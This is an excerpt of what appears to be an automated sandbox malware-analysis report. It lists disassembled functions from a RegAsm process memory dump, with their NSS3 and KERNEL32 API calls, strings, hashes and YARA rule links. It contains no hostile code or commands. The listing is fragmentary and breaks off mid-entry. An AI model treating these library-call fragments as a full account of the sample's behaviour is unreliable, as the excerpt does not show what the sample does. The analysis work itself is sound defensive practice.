API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: PHl$`Hl$delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1306050686
Opcode ID: 92119d5655837c5282ce30dd38e12b2df1a61cff63dea402a592f41b436007f9
Instruction ID: 52b2500659abe542a1924c4903a24b298930dc7fb5ff8e01514035a97da08bc8
Opcode Fuzzy Hash: 92119d5655837c5282ce30dd38e12b2df1a61cff63dea402a592f41b436007f9
Instruction Fuzzy Hash: AF51E131B001149BEB08FB66DC99EBE3779AF86358B144128E916D7A90DB359A01CBD2

Function 6C370F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C370F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C370F84

Part of subcall function 6C3CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4A18D0,?), ref: 6C3CB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C38F59B,6C49890C,?), ref: 6C370FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C370FC1

Part of subcall function 6C3D0BE0: malloc.MOZGLUE(6C3C8D2D,?,00000000,?), ref: 6C3D0BF8
Part of subcall function 6C3D0BE0: TlsGetValue.KERNEL32(6C3C8D2D,?,00000000,?), ref: 6C3D0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C370FDB
PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C370FEF
PL_FreeArenaPool.NSS3(?), ref: 6C371001
PL_FinishArenaPool.NSS3(?), ref: 6C371009

Strings

security, xrefs: 6C370F5C

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 1a009a999ba2601994a04ab637f2b288014c0f5b4fdb313975d33214074fe99d
Instruction ID: cbd1641378565389435a40e684bc3324c6fec1cdc06308a3f21b6ad37873ae0f
Opcode Fuzzy Hash: 1a009a999ba2601994a04ab637f2b288014c0f5b4fdb313975d33214074fe99d
Instruction Fuzzy Hash: 4F21F572904244ABE710DF24DC41EAA77B8EF4465CF008518FC589A601F732E905CBE2

Function 6C376DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C377D8F,6C377D8F,?,?), ref: 6C376DC8

Part of subcall function 6C3CFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C3CFE08
Part of subcall function 6C3CFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C3CFE1D
Part of subcall function 6C3CFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C3CFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C377D8F,?,?), ref: 6C376DD5

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C498FA0,00000000,?,?,?,?,6C377D8F,?,?), ref: 6C376DF7

Part of subcall function 6C3CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4A18D0,?), ref: 6C3CB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C376E35

Part of subcall function 6C3CFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C3CFE29
Part of subcall function 6C3CFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C3CFE3D
Part of subcall function 6C3CFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C3CFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C376E4C

Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C498FE0,00000000), ref: 6C376E82

Part of subcall function 6C376AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C37B21D,00000000,00000000,6C37B219,?,6C376BFB,00000000,?,00000000,00000000,?,?,?,6C37B21D), ref: 6C376B01
Part of subcall function 6C376AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C376B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C376F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C376F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C498FE0,00000000), ref: 6C376F6B
PR_SetError.NSS3(FFFFE005,00000000,6C377D8F,?,?), ref: 6C376FE1

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: fe2a559a904c1eefe01fbad1edfa4a7f50cdd7ed5967bcb3ecbe6555b87bc9b1
Instruction ID: 046975196aaadc6febd5953ffcf083aa1b3de27babbec557b87ee7aba7401344
Opcode Fuzzy Hash: fe2a559a904c1eefe01fbad1edfa4a7f50cdd7ed5967bcb3ecbe6555b87bc9b1
Instruction Fuzzy Hash: 8171AE71E102469BDB10CF14CD50BEABBB8BF54308F154229E848DBA11F731EA94CFA5

Function 6C3B0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3B1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3B1085
PK11_GetAllTokens.NSS3 ref: 6C3B10B1
free.MOZGLUE(?), ref: 6C3B1107
PR_SetError.NSS3(00000000,00000000), ref: 6C3B1172
free.MOZGLUE(?), ref: 6C3B1182
free.MOZGLUE(?), ref: 6C3B11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C3B11C5

Part of subcall function 6C3B52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C38EAC5,00000001), ref: 6C3B52DF
Part of subcall function 6C3B52C0: EnterCriticalSection.KERNEL32(?), ref: 6C3B52F3
Part of subcall function 6C3B52C0: PR_Unlock.NSS3(?), ref: 6C3B5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C3B11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C3B11F3

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: f23b452b1ebc163b429e1737bc598cc2f8f9035c585adbd0cf9f15f989ac9294
Instruction ID: 46843b8a5092584df526e94a11e315fdf19571886cfb8fd78c5ce804f3e33d8b
Opcode Fuzzy Hash: f23b452b1ebc163b429e1737bc598cc2f8f9035c585adbd0cf9f15f989ac9294
Instruction Fuzzy Hash: 0C61B2B1E013459BEB00DF64D881BAEB7B4AF18348F144128EC19BBB41E772E944CFA1

Function 6C3BADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE10
EnterCriticalSection.KERNEL32(?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C39D079,00000000,00000001), ref: 6C3BAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE7F
TlsGetValue.KERNEL32(?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAEF1
free.MOZGLUE(6C39CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C39CDBB,?), ref: 6C3BAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAF30

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 5c024ee572654a70bf27b3e76b2a2f0ea134903005632947087e747980860ea7
Instruction ID: 786dbea1df9496b73690f44f2ef03a55a11dad5a6a1a92cb5ac430fc74841c90
Opcode Fuzzy Hash: 5c024ee572654a70bf27b3e76b2a2f0ea134903005632947087e747980860ea7
Instruction Fuzzy Hash: 24518DB5A01A01AFDB01EF29D885B56B7B4BF15318F144268E808A7E11E732F964CFD1

Function 6C394CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C39AB7F,?,00000000,?), ref: 6C394CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C39AB7F,?,00000000,?), ref: 6C394CC8
TlsGetValue.KERNEL32(?,6C39AB7F,?,00000000,?), ref: 6C394CE0
EnterCriticalSection.KERNEL32(?,?,6C39AB7F,?,00000000,?), ref: 6C394CF4
PL_HashTableLookup.NSS3(?,?,?,6C39AB7F,?,00000000,?), ref: 6C394D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C394D10

Part of subcall function 6C41DD70: TlsGetValue.KERNEL32 ref: 6C41DD8C
Part of subcall function 6C41DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C41DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C394D26

Part of subcall function 6C439DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C480A27), ref: 6C439DC6
Part of subcall function 6C439DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C480A27), ref: 6C439DD1
Part of subcall function 6C439DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C439DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C394D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C394DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C394E02

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 515fdb35fa1f8181876c0ad373cc6afb38b89848ba6890d7942a2e14fa10f9dc
Instruction ID: 065c1424a6ccc301a5ebf8051d5c51a0c16b3db437b9871eb8d0cfcdb611e739
Opcode Fuzzy Hash: 515fdb35fa1f8181876c0ad373cc6afb38b89848ba6890d7942a2e14fa10f9dc
Instruction Fuzzy Hash: 8941AAB9A002059BEB01AF68EC4496677B8FF0525DF054174EC5987B26FB31E914CFE2

Function 6C372E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C372CDA,?,00000000), ref: 6C372E1E

Part of subcall function 6C3CFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C379003,?), ref: 6C3CFD91
Part of subcall function 6C3CFD80: PORT_Alloc_Util.NSS3(A4686C3D,?), ref: 6C3CFDA2
Part of subcall function 6C3CFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C3D,?,?), ref: 6C3CFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C372E33

Part of subcall function 6C3CFD80: free.MOZGLUE(00000000,?,?), ref: 6C3CFDD1

TlsGetValue.KERNEL32 ref: 6C372E4E
EnterCriticalSection.KERNEL32(?), ref: 6C372E5E
PL_HashTableLookup.NSS3(?), ref: 6C372E71
PL_HashTableRemove.NSS3(?), ref: 6C372E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C372E96
PR_Unlock.NSS3 ref: 6C372EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C372EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C372EC5

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 4806e3328adf6deb5beef8181f1cda85fdcf494e658a52a2ffbd3b1b84541f40
Instruction ID: 2b68e058cb242fdf678bf05ba4ec9a27afb19eadbea2a804a992870cc1e6a1ff
Opcode Fuzzy Hash: 4806e3328adf6deb5beef8181f1cda85fdcf494e658a52a2ffbd3b1b84541f40
Instruction Fuzzy Hash: 88210A76E40100A7EF21BB25EC09E9A3A78EB5235DF044035ED1886B11FB33D958DAF2

Function 6C2FCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C2FB999), ref: 6C2FCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C2FB999), ref: 6C2FD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C2FB999), ref: 6C2FD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C2FB999), ref: 6C44972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C2FCFDD, 6C2FD00E, 6C2FD022, 6C2FD033, 6C449780
%s at line %d of [%.10s], xrefs: 6C2FCFEC, 6C2FD018, 6C2FD029, 6C2FD03F, 6C44978B
database corruption, xrefs: 6C2FCFE7, 6C2FD013, 6C2FD028, 6C2FD039, 6C2FD03E, 6C449786

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: d277cdf49dc54f1702c0814fbc7e2a6ccc000c3c3c897ceb75ca91c6f7cd5eda
Instruction ID: 82f5f5bd208e3d130c10a5af3fa953093f95229e7194e08837b1b4fab6905025
Opcode Fuzzy Hash: d277cdf49dc54f1702c0814fbc7e2a6ccc000c3c3c897ceb75ca91c6f7cd5eda
Instruction Fuzzy Hash: E8613771A442148BE310CF29C840FA6F7E5EF55718F2882AEE8459BB41D376E947C7A1

Function 6C3D4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C3D536F,00000022,?,?,00000000,?), ref: 6C3D4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C3D4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C3D4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C3D4FAE
free.MOZGLUE(?), ref: 6C3D4FC8

Strings

oS=l", xrefs: 6C3D4DFB, 6C3D4EF4, 6C3D4EC5
%s=%s, xrefs: 6C3D4F89
%s=%c%s%c, xrefs: 6C3D4FA9

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS=l"
API String ID: 2709355791-210085783
Opcode ID: e4b01d5bb587e7dfbe9dd5795f0ccd0ce17655177bfa4c1fbe0463f0472df5cf
Instruction ID: e16b9e4296e51a6b9a9f841adb5321bf5a308aed67a2ac6b7016975c4dc677fb
Opcode Fuzzy Hash: e4b01d5bb587e7dfbe9dd5795f0ccd0ce17655177bfa4c1fbe0463f0472df5cf
Instruction Fuzzy Hash: 17516E73E051479BEB01CB79D4507FF7BF99F42308F1A4115E894A7A50D326A9058FA2

Function 6C3FEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C41A4A1,?,00000000,?,00000001), ref: 6C3FEF6D

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

htonl.WSOCK32(00000000,?,6C41A4A1,?,00000000,?,00000001), ref: 6C3FEFE4
htonl.WSOCK32(?,00000000,?,6C41A4A1,?,00000000,?,00000001), ref: 6C3FEFF1
memcpy.VCRUNTIME140(?,?,6C41A4A1,?,00000000,?,6C41A4A1,?,00000000,?,00000001), ref: 6C3FF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C41A4A1,?,00000000,?,00000001), ref: 6C3FF027

Strings

dtls13, xrefs: 6C3FEF33

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 950a102a067ab546e78512d7fb01965a14c6502e3dfecad6706fc6dd75aba591
Instruction ID: a13425ccd0f5dc90293e79099b654f270958c1f1e6773512a2ad310b622edaa6
Opcode Fuzzy Hash: 950a102a067ab546e78512d7fb01965a14c6502e3dfecad6706fc6dd75aba591
Instruction Fuzzy Hash: EA31D271A01311ABD710DF28DC80F9AB7E4AF49348F168429E8289B751E732E916CBE1

Function 6C37AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C37AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C499500,6C373F91), ref: 6C37AFD2

Part of subcall function 6C3CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4A18D0,?), ref: 6C3CB095

DER_GetInteger_Util.NSS3(?), ref: 6C37B007

Part of subcall function 6C3C6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C371666,?,6C37B00C,?), ref: 6C3C6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C37B02F
PR_CallOnce.NSS3(6C4D2AA4,6C3D12D0), ref: 6C37B046
PL_FreeArenaPool.NSS3 ref: 6C37B058
PL_FinishArenaPool.NSS3 ref: 6C37B060

Strings

security, xrefs: 6C37AFB8

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b4547bbe48b88455a06e7389a4b56e7ffd147ed7c822bfa07f7e2c354f27658d
Instruction ID: 0b0657c9e24368895ebec34135ff53ea142ed3dae63de04372bad1d2f1aae9e6
Opcode Fuzzy Hash: b4547bbe48b88455a06e7389a4b56e7ffd147ed7c822bfa07f7e2c354f27658d
Instruction Fuzzy Hash: F731C5714043009BDB208F149849FEA77B4AF8636CF10065DE9B59FB91E73695098FAB

Function 6C3AACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C3AACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3AAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3AAD23

Part of subcall function 6C48D930: PL_strncpyz.NSS3(?,?,?), ref: 6C48D963

PR_LogPrint.NSS3(?,00000000), ref: 6C3AAD39

Strings

nHl, xrefs: 6C3AAD51, 6C3AAD7B
(CK_INVALID_HANDLE), xrefs: 6C3AAD1C
C_MessageDecryptFinal, xrefs: 6C3AACE1
hSession = 0x%x, xrefs: 6C3AACFE, 6C3AAD0E

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
